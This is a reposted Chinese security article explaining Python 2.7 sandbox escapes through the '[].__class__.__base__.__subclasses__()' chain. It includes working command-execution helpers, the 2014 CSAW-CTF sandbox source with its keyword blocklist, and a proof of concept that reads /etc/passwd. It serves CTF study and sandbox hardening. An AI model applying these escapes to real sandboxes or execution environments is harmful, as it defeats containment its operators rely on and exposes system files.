Python Sandbox Bypass
Posted 美丽联合集团安全应急响应中心
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Python Sandbox Bypass相关的知识,希望对你有一定的参考价值。
常规pysandbox方法:
利用
del __builtins__.__dict__[func]
进行危险函数过滤。
简单理解,__builtins__
存放着Python的内置模块。比如:reload, __import__, print, raw_input
等
针对常规Python沙箱的bypass,以CTF呈现的形式居多。
以下环境全在python 2.7.10测试。
1. Magic Code
在Python里,这段[].__class__.__base__.__subclasses__()
魔术代码,不用import任何模块,但可调用任意模块的方法。
具体使用如下:
1.1 查看Python版本
Python2.x和Python3.x有一些区别,Bypass前最好知道Python版本。
我们知道,sys.version
可以查看python版本。
>>> import sys
>>> sys.version
'2.7.10 (default, Oct 23 2015, 19:19:21) \n[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]'
所以,我们只需利用MagicCode导入sys模块,并调用version方法即可。
我们找到<class 'warnings.WarningMessage'>
,该Class已经导入了sys模块。
获取py版本如下:
def getPyVer():
magic = [].__class__.__base__.__subclasses__()
for item in magic:
if 'warnings.WarningMessage' in str(item):
return item.__init__.__globals__['sys'].version
print getPyVer()
返回:
2.7.10 (default, Oct 23 2015, 19:19:21)
[GCC 4.2.1 Compatible Apple LLVM 7.0.0 (clang-700.0.59.5)]
1.2 命令执行
根据上面的理解,想要命令执行,我们需要import以下任意一个模块即可。
os
subprocess
commands
以os模块为例。
在2.7.10里,有以下3个Class导入了os模块。
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'subprocess.Popen'>
我们利用任意一个Class的代码如下:
def cmdexec(cmd):
magic = [].__class__.__base__.__subclasses__()
for item in magic:
if "<class 'site._Printer'>" == str(item):
ret = item.__init__.__globals__['os'].system(cmd)
return ret
print cmdexec('whoami')
返回:
Viarus
0
2. 小试牛刀
以2014 CSAW-CTF为例。
from __future__ import print_function
print("Welcome to my Python sandbox! Enter commands below!")
banned = [
"import",
"exec",
"eval",
"pickle",
"os",
"subprocess",
"kevin sucks",
"input",
"banned",
"cry sum more",
"sys"
]
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
print(">>>", end=' ')
data = raw_input()
for no in banned:
if no.lower() in data.lower():
print("[-] " + no)
break
else: # this means nobreak
exec data
该代码很简单。
删除所有内置模块,除了
raw_input
和print
。如果输入里匹配到
banned
列表里的黑名单,就退出程序。
现在的目的是读取系统上一个文件。方法大致两种:
调用file函数读取文件
执行命令
第一种方法就不阐述了。下面是第二种执行命令的Poc:
➜ python_sandbox_bypass python sandbox.py
Welcome to my Python sandbox! Enter commands below!
>>> s = 's' + 'ystem'
>>> a = [].__class__.__base__.__subclasses__()[68].__init__.__globals__['o'+'s'].__dict__[s]
>>> a('cat /etc/passwd')
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
原理即上面执行命令的代码逻辑的原理。由于不能出现sys
字样,所以把system
组合了下。
3. 总结
如果是module类型,可以使用
.__dict__.keys()
查看方法名,比如item.__init__.__globals__['os'].__dict__.keys()
调用方法使用
.__dict__['funcname']
,比如item.__init__.__globals__['os'].__dict__['system']
从class中获取该class的模块名
item.__init__.__globals__.keys()
4. 参考
CSAW-CTF Python sandbox write-up
以上是关于Python Sandbox Bypass的主要内容,如果未能解决你的问题,请参考以下文章
Python Ethical Hacking - Bypass HTTPS
Python Ethical Hacking - Bypass HTTPS
2017swpu python sandbox (300pt)
技术文章阅读-Escaping a Python sandbox with a memory corruption bug